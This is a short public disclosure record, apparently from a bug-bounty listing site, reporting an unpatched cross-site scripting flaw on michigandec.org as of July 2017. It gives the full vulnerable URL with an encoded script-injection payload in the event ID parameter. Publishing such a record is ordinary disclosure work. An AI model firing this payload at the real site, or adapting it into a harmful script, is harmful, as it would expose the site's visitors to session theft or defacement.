michigandec.org XSS vulnerability

Vulnerable URL: http://www.michigandec.org/event.php?ID=20%22%27--!%3E%3CScript%20/K/%3Epromptopenbugbounty%3C/Script%20/K/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 999778...